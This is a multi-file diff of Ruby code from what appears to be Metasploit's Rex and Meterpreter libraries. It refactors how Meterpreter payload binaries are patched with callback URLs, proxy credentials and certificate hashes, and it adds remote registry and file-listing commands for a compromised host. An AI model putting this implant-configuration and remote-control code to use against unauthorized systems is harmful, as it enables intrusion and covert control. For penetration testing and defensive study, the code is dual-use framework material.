||||
module Rex
|
||||
module Parser
|
||||
|
||||
###
|
||||
#
|
||||
# This class parses the contents of a PEM-encoded X509 certificate file containing
|
||||
# a private key, a public key, and any appended glue certificates.
|
||||
#
|
||||
###
|
||||
class X509Certificate
|
||||
|
||||
#
|
||||
# Parse a certificate in unified PEM format that contains a private key and
|
||||
# one or more certificates. The first certificate is the primary, while any
|
||||
# additional certificates are treated as intermediary certificates. This emulates
|
||||
# the behavior of web servers like nginx.
|
||||
#
|
||||
# @param [String] ssl_cert
|
||||
# @return [String, String, Array]
|
||||
def self.parse_pem(ssl_cert)
|
||||
cert = nil
|
||||
key = nil
|
||||
chain = nil
|
||||
|
||||
certs = []
|
||||
ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem|
|
||||
if pem =~ /PRIVATE KEY/
|
||||
key = OpenSSL::PKey::RSA.new(pem)
|
||||
elsif pem =~ /CERTIFICATE/
|
||||
certs << OpenSSL::X509::Certificate.new(pem)
|
||||
end
|
||||
end
|
||||
|
||||
cert = certs.shift
|
||||
if certs.length > 0
|
||||
chain = certs
|
||||
end
|
||||
|
||||
[key, cert, chain]
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a certificate in unified PEM format from a file
|
||||
#
|
||||
# @param [String] ssl_cert_file
|
||||
# @return [String, String, Array]
|
||||
def self.parse_pem_file(ssl_cert_file)
|
||||
data = ''
|
||||
::File.open(ssl_cert_file, 'rb') do |fd|
|
||||
data << fd.read(fd.stat.size)
|
||||
end
|
||||
parse_pem(data)
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a certificate in unified PEM format and retrieve
|
||||
# the SHA1 hash.
|
||||
#
|
||||
# @param [String] ssl_cert
|
||||
# @return [String]
|
||||
def self.get_cert_hash(ssl_cert)
|
||||
hcert = parse_pem(ssl_cert)
|
||||
|
||||
unless hcert and hcert[0] and hcert[1]
|
||||
raise ArgumentError, "Could not parse a private key and certificate"
|
||||
end
|
||||
|
||||
Rex::Text.sha1_raw(hcert[1].to_der)
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a file that contains a certificate in unified PEM
|
||||
# format and retrieve the SHA1 hash.
|
||||
#
|
||||
# @param [String] ssl_cert_file
|
||||
# @return [String]
|
||||
def self.get_cert_file_hash(ssl_cert_file)
|
||||
data = ''
|
||||
::File.open(ssl_cert_file, 'rb') do |fd|
|
||||
data << fd.read(fd.stat.size)
|
||||
end
|
||||
get_cert_hash(data)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -11,29 +11,23 @@ module Rex
|
|||
module Patch
|
||||
|
||||
# Replace the transport string
|
||||
def self.patch_transport! blob, ssl
|
||||
|
||||
i = blob.index("METERPRETER_TRANSPORT_SSL")
|
||||
if i
|
||||
str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
|
||||
def self.patch_transport!(blob, ssl)
|
||||
str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
|
||||
patch_string!(blob, "METERPRETER_TRANSPORT_SSL", str)
|
||||
end
|
||||
|
||||
# Replace the URL
|
||||
def self.patch_url! blob, url
|
||||
|
||||
i = blob.index("https://" + ("X" * 256))
|
||||
if i
|
||||
str = url
|
||||
blob[i, str.length] = str
|
||||
def self.patch_url!(blob, url)
|
||||
unless patch_string!(blob, "https://#{'X' * 512}", url)
|
||||
# If the patching failed this could mean that we are somehow
|
||||
# working with outdated binaries, so try to patch with the
|
||||
# old stuff.
|
||||
patch_string!(blob, "https://#{'X' * 256}", url)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Replace the session expiration timeout
|
||||
def self.patch_expiration! blob, expiration
|
||||
def self.patch_expiration!(blob, expiration)
|
||||
|
||||
i = blob.index([0xb64be661].pack("V"))
|
||||
if i
|
||||
|
@ -44,7 +38,7 @@ module Rex
|
|||
end
|
||||
|
||||
# Replace the session communication timeout
|
||||
def self.patch_comm_timeout! blob, comm_timeout
|
||||
def self.patch_comm_timeout!(blob, comm_timeout)
|
||||
|
||||
i = blob.index([0xaf79257f].pack("V"))
|
||||
if i
|
||||
|
@ -55,81 +49,110 @@ module Rex
|
|||
end
|
||||
|
||||
# Replace the user agent string with our option
|
||||
def self.patch_ua! blob, ua
|
||||
|
||||
ua = ua[0,255] + "\x00"
|
||||
i = blob.index("METERPRETER_UA\x00")
|
||||
if i
|
||||
blob[i, ua.length] = ua
|
||||
end
|
||||
|
||||
def self.patch_ua!(blob, ua)
|
||||
patch_string!(blob, "METERPRETER_UA\x00", ua[0,255] + "\x00")
|
||||
end
|
||||
|
||||
# Activate a custom proxy
|
||||
def self.patch_proxy! blob, proxyhost, proxyport, proxy_type
|
||||
def self.patch_proxy!(blob, proxyhost, proxyport, proxy_type)
|
||||
|
||||
i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
if i
|
||||
if proxyhost
|
||||
if proxyhost.to_s != ""
|
||||
proxyhost = proxyhost.to_s
|
||||
proxyport = proxyport.to_s || "8080"
|
||||
proxyinfo = proxyhost + ":" + proxyport
|
||||
if proxyport == "80"
|
||||
proxyinfo = proxyhost
|
||||
end
|
||||
if proxy_type.to_s == 'HTTP'
|
||||
proxyinfo = 'http://' + proxyinfo
|
||||
else #socks
|
||||
proxyinfo = 'socks=' + proxyinfo
|
||||
end
|
||||
proxyinfo << "\x00"
|
||||
blob[i, proxyinfo.length] = proxyinfo
|
||||
end
|
||||
if proxyhost && proxyhost.to_s != ""
|
||||
proxyhost = proxyhost.to_s
|
||||
proxyport = proxyport.to_s || "8080"
|
||||
proxyinfo = proxyhost + ":" + proxyport
|
||||
if proxyport == "80"
|
||||
proxyinfo = proxyhost
|
||||
end
|
||||
if proxy_type.to_s == 'HTTP'
|
||||
proxyinfo = 'http://' + proxyinfo
|
||||
else #socks
|
||||
proxyinfo = 'socks=' + proxyinfo
|
||||
end
|
||||
proxyinfo << "\x00"
|
||||
patch_string!(blob, "METERPRETER_PROXY#{"\x00" * 10}", proxyinfo)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Proxy authentification
|
||||
def self.patch_proxy_auth! blob, proxy_username, proxy_password, proxy_type
|
||||
def self.patch_proxy_auth!(blob, proxy_username, proxy_password, proxy_type)
|
||||
|
||||
unless (proxy_username.nil? or proxy_username.empty?) or
|
||||
(proxy_password.nil? or proxy_password.empty?) or
|
||||
proxy_type == 'SOCKS'
|
||||
|
||||
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
proxy_username = proxy_username << "\x00"
|
||||
blob[proxy_username_loc, proxy_username.length] = proxy_username
|
||||
patch_string!(blob, "METERPRETER_USERNAME_PROXY#{"\x00" * 10}",
|
||||
proxy_username + "\x00")
|
||||
|
||||
proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
proxy_password = proxy_password << "\x00"
|
||||
blob[proxy_password_loc, proxy_password.length] = proxy_password
|
||||
patch_string!(blob, "METERPRETER_PASSWORD_PROXY#{"\x00" * 10}",
|
||||
proxy_password + "\x00")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Patch options into metsrv for reverse HTTP payloads
|
||||
def self.patch_passive_service! blob, options
|
||||
# Patch the ssl cert hash
|
||||
def self.patch_ssl_check!(blob, ssl_cert_hash)
|
||||
# SSL cert location is an ASCII string, so no need for
|
||||
# WCHAR support
|
||||
if ssl_cert_hash
|
||||
i = blob.index("METERPRETER_SSL_CERT_HASH\x00")
|
||||
if i
|
||||
blob[i, ssl_cert_hash.length] = ssl_cert_hash
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
patch_transport! blob, options[:ssl]
|
||||
patch_url! blob, options[:url]
|
||||
patch_expiration! blob, options[:expiration]
|
||||
patch_comm_timeout! blob, options[:comm_timeout]
|
||||
patch_ua! blob, options[:ua]
|
||||
# Patch options into metsrv for reverse HTTP payloads
|
||||
def self.patch_passive_service!(blob, options)
|
||||
|
||||
patch_transport!(blob, options[:ssl])
|
||||
patch_url!(blob, options[:url])
|
||||
patch_expiration!(blob, options[:expiration])
|
||||
patch_comm_timeout!(blob, options[:comm_timeout])
|
||||
patch_ua!(blob, options[:ua])
|
||||
patch_ssl_check!(blob, options[:ssl_cert_hash])
|
||||
patch_proxy!(blob,
|
||||
options[:proxyhost],
|
||||
options[:proxyport],
|
||||
options[:proxy_host],
|
||||
options[:proxy_port],
|
||||
options[:proxy_type]
|
||||
)
|
||||
patch_proxy_auth!(blob,
|
||||
options[:proxy_username],
|
||||
options[:proxy_password],
|
||||
options[:proxy_user],
|
||||
options[:proxy_pass],
|
||||
options[:proxy_type]
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Patch an ASCII value in the given payload. If not found, try WCHAR instead.
|
||||
#
|
||||
def self.patch_string!(blob, search, replacement)
|
||||
result = false
|
||||
|
||||
i = blob.index(search)
|
||||
if i
|
||||
blob[i, replacement.length] = replacement
|
||||
result = true
|
||||
else
|
||||
i = blob.index(wchar(search))
|
||||
if i
|
||||
r = wchar(replacement)
|
||||
blob[i, r.length] = r
|
||||
result = true
|
||||
end
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
#
|
||||
# Convert the given ASCII string into a WCHAR string (dumb, but works)
|
||||
#
|
||||
def self.wchar(str)
|
||||
str.to_s.unpack("C*").pack("v*")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -40,6 +40,40 @@ class ClientCore < Extension
|
|||
# Core commands
|
||||
#
|
||||
##
|
||||
#
|
||||
#
|
||||
# Get a list of loaded commands for the given extension.
|
||||
#
|
||||
def get_loaded_extension_commands(extension_name)
|
||||
request = Packet.create_request('core_enumextcmd')
|
||||
request.add_tlv(TLV_TYPE_STRING, extension_name)
|
||||
|
||||
begin
|
||||
response = self.client.send_packet_wait_response(request, self.client.response_timeout)
|
||||
rescue
|
||||
# In the case where orphaned shells call back with OLD copies of the meterpreter
|
||||
# binaries, we end up with a case where this fails. So here we just return the
|
||||
# empty list of supported commands.
|
||||
return []
|
||||
end
|
||||
|
||||
# No response?
|
||||
if response.nil?
|
||||
raise RuntimeError, "No response was received to the core_enumextcmd request.", caller
|
||||
elsif response.result != 0
|
||||
# This case happens when the target doesn't support the core_enumextcmd message.
|
||||
# If this is the case, then we just want to ignore the error and return an empty
|
||||
# list. This will force the caller to load any required modules.
|
||||
return []
|
||||
end
|
||||
|
||||
commands = []
|
||||
response.each(TLV_TYPE_STRING) { |c|
|
||||
commands << c.value
|
||||
}
|
||||
|
||||
commands
|
||||
end
|
||||
|
||||
#
|
||||
# Loads a library on the remote meterpreter instance. This method
|
||||
|
@ -153,25 +187,36 @@ class ClientCore < Extension
|
|||
if mod.nil?
|
||||
raise RuntimeError, "No modules were specified", caller
|
||||
end
|
||||
# Get us to the installation root and then into data/meterpreter, where
|
||||
# the file is expected to be
|
||||
modname = "ext_server_#{mod.downcase}"
|
||||
path = MeterpreterBinaries.path(modname, client.binary_suffix)
|
||||
|
||||
if opts['ExtensionPath']
|
||||
path = ::File.expand_path(opts['ExtensionPath'])
|
||||
# Query the remote instance to see if commands for the extension are
|
||||
# already loaded
|
||||
commands = get_loaded_extension_commands(mod.downcase)
|
||||
|
||||
# if there are existing commands for the given extension, then we can use
|
||||
# what's already there
|
||||
unless commands.length > 0
|
||||
# Get us to the installation root and then into data/meterpreter, where
|
||||
# the file is expected to be
|
||||
modname = "ext_server_#{mod.downcase}"
|
||||
path = MeterpreterBinaries.path(modname, client.binary_suffix)
|
||||
|
||||
if opts['ExtensionPath']
|
||||
path = ::File.expand_path(opts['ExtensionPath'])
|
||||
end
|
||||
|
||||
if path.nil?
|
||||
raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
|
||||
end
|
||||
|
||||
# Load the extension DLL
|
||||
commands = load_library(
|
||||
'LibraryFilePath' => path,
|
||||
'UploadLibrary' => true,
|
||||
'Extension' => true,
|
||||
'SaveToDisk' => opts['LoadFromDisk'])
|
||||
end
|
||||
|
||||
if path.nil?
|
||||
raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
|
||||
end
|
||||
|
||||
# Load the extension DLL
|
||||
commands = load_library(
|
||||
'LibraryFilePath' => path,
|
||||
'UploadLibrary' => true,
|
||||
'Extension' => true,
|
||||
'SaveToDisk' => opts['LoadFromDisk'])
|
||||
# wire the commands into the client
|
||||
client.add_extension(mod, commands)
|
||||
|
||||
return true
|
||||
|
@ -411,11 +456,11 @@ class ClientCore < Extension
|
|||
:expiration => self.client.expiration,
|
||||
:comm_timeout => self.client.comm_timeout,
|
||||
:ua => client.exploit_datastore['MeterpreterUserAgent'],
|
||||
:proxyhost => client.exploit_datastore['PROXYHOST'],
|
||||
:proxyport => client.exploit_datastore['PROXYPORT'],
|
||||
:proxy_type => client.exploit_datastore['PROXY_TYPE'],
|
||||
:proxy_username => client.exploit_datastore['PROXY_USERNAME'],
|
||||
:proxy_password => client.exploit_datastore['PROXY_PASSWORD']
|
||||
:proxy_host => client.exploit_datastore['PayloadProxyHost'],
|
||||
:proxy_port => client.exploit_datastore['PayloadProxyPort'],
|
||||
:proxy_type => client.exploit_datastore['PayloadProxyType'],
|
||||
:proxy_user => client.exploit_datastore['PayloadProxyUser'],
|
||||
:proxy_pass => client.exploit_datastore['PayloadProxyPass']
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -61,7 +61,7 @@ class Dir < Rex::Post::Dir
|
|||
response = client.send_request(request)
|
||||
|
||||
response.each(TLV_TYPE_FILE_NAME) { |file_name|
|
||||
files << client.unicode_filter_encode( file_name.value )
|
||||
files << client.unicode_filter_encode(file_name.value)
|
||||
}
|
||||
|
||||
return files
|
||||
|
@ -79,6 +79,7 @@ class Dir < Rex::Post::Dir
|
|||
response = client.send_request(request)
|
||||
|
||||
fname = response.get_tlvs(TLV_TYPE_FILE_NAME)
|
||||
fsname = response.get_tlvs(TLV_TYPE_FILE_SHORT_NAME)
|
||||
fpath = response.get_tlvs(TLV_TYPE_FILE_PATH)
|
||||
sbuf = response.get_tlvs(TLV_TYPE_STAT_BUF)
|
||||
|
||||
|
@ -96,8 +97,9 @@ class Dir < Rex::Post::Dir
|
|||
|
||||
files <<
|
||||
{
|
||||
'FileName' => client.unicode_filter_encode( file_name.value ),
|
||||
'FilePath' => client.unicode_filter_encode( fpath[idx].value ),
|
||||
'FileName' => client.unicode_filter_encode(file_name.value),
|
||||
'FilePath' => client.unicode_filter_encode(fpath[idx].value),
|
||||
'FileShortName' => fsname[idx] ? fsname[idx].value : nil,
|
||||
'StatBuf' => st,
|
||||
}
|
||||
}
|
||||
|
@ -145,7 +147,7 @@ class Dir < Rex::Post::Dir
|
|||
|
||||
response = client.send_request(request)
|
||||
|
||||
return client.unicode_filter_encode( response.get_tlv(TLV_TYPE_DIRECTORY_PATH).value )
|
||||
return client.unicode_filter_encode(response.get_tlv(TLV_TYPE_DIRECTORY_PATH).value)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -195,8 +197,8 @@ class Dir < Rex::Post::Dir
|
|||
def Dir.download(dst, src, recursive = false, force = true, &stat)
|
||||
|
||||
self.entries(src).each { |src_sub|
|
||||
dst_item = dst + ::File::SEPARATOR + client.unicode_filter_encode( src_sub )
|
||||
src_item = src + client.fs.file.separator + client.unicode_filter_encode( src_sub )
|
||||
dst_item = dst + ::File::SEPARATOR + client.unicode_filter_encode(src_sub)
|
||||
src_item = src + client.fs.file.separator + client.unicode_filter_encode(src_sub)
|
||||
|
||||
if (src_sub == '.' or src_sub == '..')
|
||||
next
|
||||
|
@ -240,8 +242,8 @@ class Dir < Rex::Post::Dir
|
|||
#
|
||||
def Dir.upload(dst, src, recursive = false, &stat)
|
||||
::Dir.entries(src).each { |src_sub|
|
||||
dst_item = dst + client.fs.file.separator + client.unicode_filter_encode( src_sub )
|
||||
src_item = src + ::File::SEPARATOR + client.unicode_filter_encode( src_sub )
|
||||
dst_item = dst + client.fs.file.separator + client.unicode_filter_encode(src_sub)
|
||||
src_item = src + ::File::SEPARATOR + client.unicode_filter_encode(src_sub)
|
||||
|
||||
if (src_sub == '.' or src_sub == '..')
|
||||
next
|
||||
|
|
|
@ -91,9 +91,9 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
|
|||
if( response.result == 0 )
|
||||
response.each( TLV_TYPE_SEARCH_RESULTS ) do | results |
|
||||
files << {
|
||||
'path' => client.unicode_filter_encode( results.get_tlv_value( TLV_TYPE_FILE_PATH ).chomp( '\\' ) ),
|
||||
'name' => client.unicode_filter_encode( results.get_tlv_value( TLV_TYPE_FILE_NAME ) ),
|
||||
'size' => results.get_tlv_value( TLV_TYPE_FILE_SIZE )
|
||||
'path' => client.unicode_filter_encode(results.get_tlv_value(TLV_TYPE_FILE_PATH).chomp( '\\' )),
|
||||
'name' => client.unicode_filter_encode(results.get_tlv_value(TLV_TYPE_FILE_NAME)),
|
||||
'size' => results.get_tlv_value(TLV_TYPE_FILE_SIZE)
|
||||
}
|
||||
end
|
||||
end
|
||||
|
@ -138,7 +138,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
|
|||
|
||||
response = client.send_request(request)
|
||||
|
||||
return client.unicode_filter_encode( response.get_tlv_value(TLV_TYPE_FILE_PATH) )
|
||||
return client.unicode_filter_encode(response.get_tlv_value(TLV_TYPE_FILE_PATH))
|
||||
end
|
||||
|
||||
|
||||
|
|
|
@ -2159,13 +2159,13 @@ class Def_kernel32
|
|||
])
|
||||
|
||||
dll.add_function( 'InterlockedCompareExchange', 'DWORD',[
|
||||
["PDWORD","Destination","inout"],
|
||||
["PDWORD","Destination","in"],
|
||||
["DWORD","ExChange","in"],
|
||||
["DWORD","Comperand","in"],
|
||||
])
|
||||
|
||||
dll.add_function( 'InterlockedCompareExchange64', 'LPVOID',[
|
||||
["PBLOB","Destination","inout"],
|
||||
["PBLOB","Destination","in"],
|
||||
["PBLOB","ExChange","in"],
|
||||
["PBLOB","Comperand","in"],
|
||||
])
|
||||
|
@ -2175,7 +2175,7 @@ class Def_kernel32
|
|||
])
|
||||
|
||||
dll.add_function( 'InterlockedExchange', 'DWORD',[
|
||||
["PDWORD","Target","inout"],
|
||||
["PDWORD","Target","in"],
|
||||
["DWORD","Value","in"],
|
||||
])
|
||||
|
||||
|
|
|
@ -89,7 +89,6 @@ class Registry
|
|||
request.add_tlv(TLV_TYPE_TARGET_HOST, target_host)
|
||||
request.add_tlv(TLV_TYPE_ROOT_KEY, root_key)
|
||||
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
return Rex::Post::Meterpreter::Extensions::Stdapi::Sys::RegistrySubsystem::RemoteRegistryKey.new(
|
||||
|
@ -166,6 +165,24 @@ class Registry
|
|||
return keys
|
||||
end
|
||||
|
||||
def Registry.enum_key_direct(root_key, base_key, perm = KEY_READ)
|
||||
request = Packet.create_request('stdapi_registry_enum_key_direct')
|
||||
keys = []
|
||||
|
||||
request.add_tlv(TLV_TYPE_ROOT_KEY, root_key)
|
||||
request.add_tlv(TLV_TYPE_BASE_KEY, base_key)
|
||||
request.add_tlv(TLV_TYPE_PERMISSION, perm)
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
# Enumerate through all of the registry keys
|
||||
response.each(TLV_TYPE_KEY_NAME) do |key_name|
|
||||
keys << key_name.value
|
||||
end
|
||||
|
||||
keys
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Registry value interaction
|
||||
|
@ -195,10 +212,55 @@ class Registry
|
|||
return true
|
||||
end
|
||||
|
||||
def Registry.set_value_direct(root_key, base_key, name, type, data, perm = KEY_WRITE)
|
||||
request = Packet.create_request('stdapi_registry_set_value_direct')
|
||||
|
||||
request.add_tlv(TLV_TYPE_ROOT_KEY, root_key)
|
||||
request.add_tlv(TLV_TYPE_BASE_KEY, base_key)
|
||||
request.add_tlv(TLV_TYPE_PERMISSION, perm)
|
||||
request.add_tlv(TLV_TYPE_VALUE_NAME, name)
|
||||
request.add_tlv(TLV_TYPE_VALUE_TYPE, type)
|
||||
|
||||
if type == REG_SZ
|
||||
data += "\x00"
|
||||
elsif type == REG_DWORD
|
||||
data = [data.to_i].pack('V')
|
||||
end
|
||||
|
||||
request.add_tlv(TLV_TYPE_VALUE_DATA, data)
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
#
|
||||
# Queries the registry value supplied in name and returns an
|
||||
# initialized RegistryValue instance if a match is found.
|
||||
#
|
||||
def Registry.query_value_direct(root_key, base_key, name, perm = KEY_READ)
|
||||
request = Packet.create_request('stdapi_registry_query_value_direct')
|
||||
|
||||
request.add_tlv(TLV_TYPE_ROOT_KEY, root_key)
|
||||
request.add_tlv(TLV_TYPE_BASE_KEY, base_key)
|
||||
request.add_tlv(TLV_TYPE_PERMISSION, perm)
|
||||
request.add_tlv(TLV_TYPE_VALUE_NAME, name)
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
type = response.get_tlv(TLV_TYPE_VALUE_TYPE).value
|
||||
data = response.get_tlv(TLV_TYPE_VALUE_DATA).value
|
||||
|
||||
if type == REG_SZ
|
||||
data = data[0..-2]
|
||||
elsif type == REG_DWORD
|
||||
data = data.unpack('N')[0]
|
||||
end
|
||||
|
||||
Rex::Post::Meterpreter::Extensions::Stdapi::Sys::RegistrySubsystem::RegistryValue.new(
|
||||
client, 0, name, type, data)
|
||||
end
|
||||
|
||||
def Registry.query_value(hkey, name)
|
||||
request = Packet.create_request('stdapi_registry_query_value')
|
||||
|
||||
|
@ -207,8 +269,8 @@ class Registry
|
|||
|
||||
response = client.send_request(request)
|
||||
|
||||
data = response.get_tlv(TLV_TYPE_VALUE_DATA).value;
|
||||
type = response.get_tlv(TLV_TYPE_VALUE_TYPE).value;
|
||||
data = response.get_tlv(TLV_TYPE_VALUE_DATA).value
|
||||
type = response.get_tlv(TLV_TYPE_VALUE_TYPE).value
|
||||
|
||||
if (type == REG_SZ)
|
||||
data = data[0..-2]
|
||||
|
@ -272,6 +334,24 @@ class Registry
|
|||
return values
|
||||
end
|
||||
|
||||
def Registry.enum_value_direct(root_key, base_key, perm = KEY_READ)
|
||||
request = Packet.create_request('stdapi_registry_enum_value_direct')
|
||||
values = []
|
||||
|
||||
request.add_tlv(TLV_TYPE_ROOT_KEY, root_key)
|
||||
request.add_tlv(TLV_TYPE_BASE_KEY, base_key)
|
||||
request.add_tlv(TLV_TYPE_PERMISSION, perm)
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
response.each(TLV_TYPE_VALUE_NAME) do |value_name|
|
||||
values << Rex::Post::Meterpreter::Extensions::Stdapi::Sys::RegistrySubsystem::RegistryValue.new(
|
||||
client, 0, value_name.value)
|
||||
end
|
||||
|
||||
values
|
||||
end
|
||||
|
||||
#
|
||||
# Return the key value associated with the supplied string. This is useful
|
||||
# for converting HKLM as a string into its actual integer representation.
|
||||
|
@ -300,13 +380,20 @@ class Registry
|
|||
# Returns the integer value associated with the supplied registry value
|
||||
# type (like REG_SZ).
|
||||
#
|
||||
# @see https://msdn.microsoft.com/en-us/library/windows/desktop/ms724884(v=vs.85).aspx
|
||||
# @param type [String] A Windows registry type constant name, e.g. 'REG_SZ'
|
||||
# @return [Integer] one of the `REG_*` constants
|
||||
def self.type2str(type)
|
||||
return REG_SZ if (type == 'REG_SZ')
|
||||
return REG_DWORD if (type == 'REG_DWORD')
|
||||
return REG_BINARY if (type == 'REG_BINARY')
|
||||
return REG_EXPAND_SZ if (type == 'REG_EXPAND_SZ')
|
||||
return REG_NONE if (type == 'REG_NONE')
|
||||
return nil
|
||||
case type
|
||||
when 'REG_BINARY' then REG_BINARY
|
||||
when 'REG_DWORD' then REG_DWORD
|
||||
when 'REG_EXPAND_SZ' then REG_EXPAND_SZ
|
||||
when 'REG_MULTI_SZ' then REG_MULTI_SZ
|
||||
when 'REG_NONE' then REG_NONE
|
||||
when 'REG_SZ' then REG_SZ
|
||||
else
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -29,6 +29,7 @@ TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201
|
|||
TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202
|
||||
TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203
|
||||
TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204
|
||||
TLV_TYPE_FILE_SHORT_NAME = TLV_META_TYPE_STRING | 1205
|
||||
|
||||
TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220
|
||||
|
||||
|
|
|
@ -178,7 +178,6 @@ module PacketDispatcher
|
|||
# Sends a packet and waits for a timeout for the given time interval.
|
||||
#
|
||||
def send_request(packet, t = self.response_timeout)
|
||||
|
||||
if not t
|
||||
send_packet(packet)
|
||||
return nil
|
||||
|
|
|
@ -360,21 +360,42 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
#
|
||||
# Lists files
|
||||
#
|
||||
# TODO: make this more useful
|
||||
#
|
||||
def cmd_ls(*args)
|
||||
|
||||
# Check sort column
|
||||
sort = args.include?('-S') ? 'Size' : 'Name'
|
||||
sort = args.include?('-t') ? 'Last modified' : sort
|
||||
args.delete('-S')
|
||||
args.delete('-t')
|
||||
|
||||
# Check whether to include the short name option
|
||||
short = args.include?('-x')
|
||||
args.delete('-x')
|
||||
|
||||
# Check sort order
|
||||
order = args.include?('-r') ? :reverse : :forward
|
||||
args.delete('-r')
|
||||
|
||||
# Check for cries of help
|
||||
if args.length > 1 || args.any? { |a| a[0] == '-' }
|
||||
print_line('Usage: ls [dir] [-x] [-S] [-t] [-r]')
|
||||
print_line(' -x Show short file names')
|
||||
print_line(' -S Sort by size')
|
||||
print_line(' -t Sort by time modified')
|
||||
print_line(' -r Reverse sort order')
|
||||
return true
|
||||
end
|
||||
|
||||
path = args[0] || client.fs.dir.getwd
|
||||
|
||||
columns = [ 'Mode', 'Size', 'Type', 'Last modified', 'Name' ]
|
||||
columns.insert(4, 'Short Name') if short
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Listing: #{path}",
|
||||
'SortIndex' => 4,
|
||||
'Columns' =>
|
||||
[
|
||||
'Mode',
|
||||
'Size',
|
||||
'Type',
|
||||
'Last modified',
|
||||
'Name',
|
||||
])
|
||||
'SortIndex' => columns.index(sort),
|
||||
'SortOrder' => order,
|
||||
'Columns' => columns)
|
||||
|
||||
items = 0
|
||||
stat = client.fs.file.stat(path)
|
||||
|
@ -383,14 +404,16 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
# No need to sort as Table will do it for us
|
||||
client.fs.dir.entries_with_info(path).each { |p|
|
||||
|
||||
tbl <<
|
||||
[
|
||||
row = [
|
||||
p['StatBuf'] ? p['StatBuf'].prettymode : '',
|
||||
p['StatBuf'] ? p['StatBuf'].size : '',
|
||||
p['StatBuf'] ? p['StatBuf'].ftype[0,3] : '',
|
||||
p['StatBuf'] ? p['StatBuf'].mtime : '',
|
||||
p['FileName'] || 'unknown'
|
||||
]
|
||||
row.insert(4, p['FileShortName'] || '') if short
|
||||
|
||||
tbl << row
|
||||
|
||||
items += 1
|
||||
}
|
||||
|
|
File diff suppressed because it is too large
Load Diff
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue